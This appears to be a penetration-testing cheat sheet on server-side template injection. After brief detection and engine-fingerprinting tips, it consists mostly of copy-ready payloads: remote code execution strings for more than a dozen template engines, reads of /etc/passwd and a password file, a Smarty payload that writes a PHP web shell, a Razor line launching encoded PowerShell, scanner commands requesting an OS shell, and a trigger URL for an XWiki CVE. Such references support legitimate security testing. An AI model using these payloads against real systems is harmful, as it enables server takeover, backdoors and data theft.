Server-Side Template Injection (SSTI) occurs when user input is unsafely embedded into a template that is executed on the server, potentially leading to Remote Code Execution.
Detection
Fuzz the Template
Inject a sequence of special characters: ${{<%[%'"}}%\Observe server responses for errors or unexpected evaluation.
Distinguish from XSS
Test mathematical expressions:
{{7*7}} → 49 (template evaluated)
${7*7} → 49 or ${7*7} (depends on engine)
<%= 7*7 %> → 49 (Ruby/ASP style)
Identify the Engine
Different engines use different syntax. Use this flowchart approach:
{{7*7}} → 49: Twig or Jinja2
{{7*'7'}} → 7777777: Jinja2
${7*7} → 49: FreeMarker or Spring EL
<%= 7*7 %> → 49: ERB (Ruby)
@(2+2) → 4: Razor (.NET)
# TInjA - SSTI + CSTI scanner
tinja url -u "http://example.com/?name=Kirlia" -H "Authorization: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"
# SSTImap
python3 sstimap.py -u "https://example.com/page?name=John" -s
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
# Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
Exploitation by Engine
Jinja2 (Python)
Twig (PHP)
FreeMarker (Java)
ERB (Ruby)
Smarty (PHP)
Mako (Python)
Tornado (Python)
Razor (.NET)
# RCE not dependent on __builtins__
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
# Config disclosure
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
# Info gathering
{{_self}}
{{_self.env}}
{{dump(app)}}
# File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"
# Code execution
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
// Basic RCE
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
${ "freemarker.template.utility.Execute"?new()("id") }
// Read file
${product.getClass().getProtectionDomain().getCodeSource().getLocation()
.toURI().resolve('/home/carlos/my_password.txt').toURL().openStream()
.readAllBytes()?join(" ")}
// Sandbox bypass (< 2.3.30)
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
<%= `ls /` %>
<% require 'open3' %>
<% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
{$smarty.version}
{system('ls')}
{system('cat index.php')}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
<%
import os
x=os.popen('id').read()
%>
${x}
{% import os %}{{os.system('whoami')}}
@(2+2)
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc <base64_payload>");
Java Template Engines
// Spring Framework
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
// Thymeleaf
${T(java.lang.Runtime).getRuntime().exec('calc')}
// Velocity
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
// Pebble (new versions)
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
NodeJS Template Engines
// Handlebars RCE
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
// PugJS
#{function(){localLoad=global.process.mainModule.constructor._load;
sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
// NUNJUCKS
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}
// Node.js vm2 / isolated-vm sandbox escape
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 renders unauthenticated RSS search feeds through the Main.SolrSearch macro. Injecting }}} followed by {{groovy}} executes arbitrary Groovy in the JVM.
# Trigger SSTI
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20
# Run OS commands
{{groovy}}println("id".execute().text){{/groovy}}
Go Template Injection
// Reveal data structure
{{ . }}
// Access Password field
{{ .Password }}
// Check engine
{{printf "%s" "ssti" }}
// RCE if object has exec method
{{ .System "ls" }}
Resources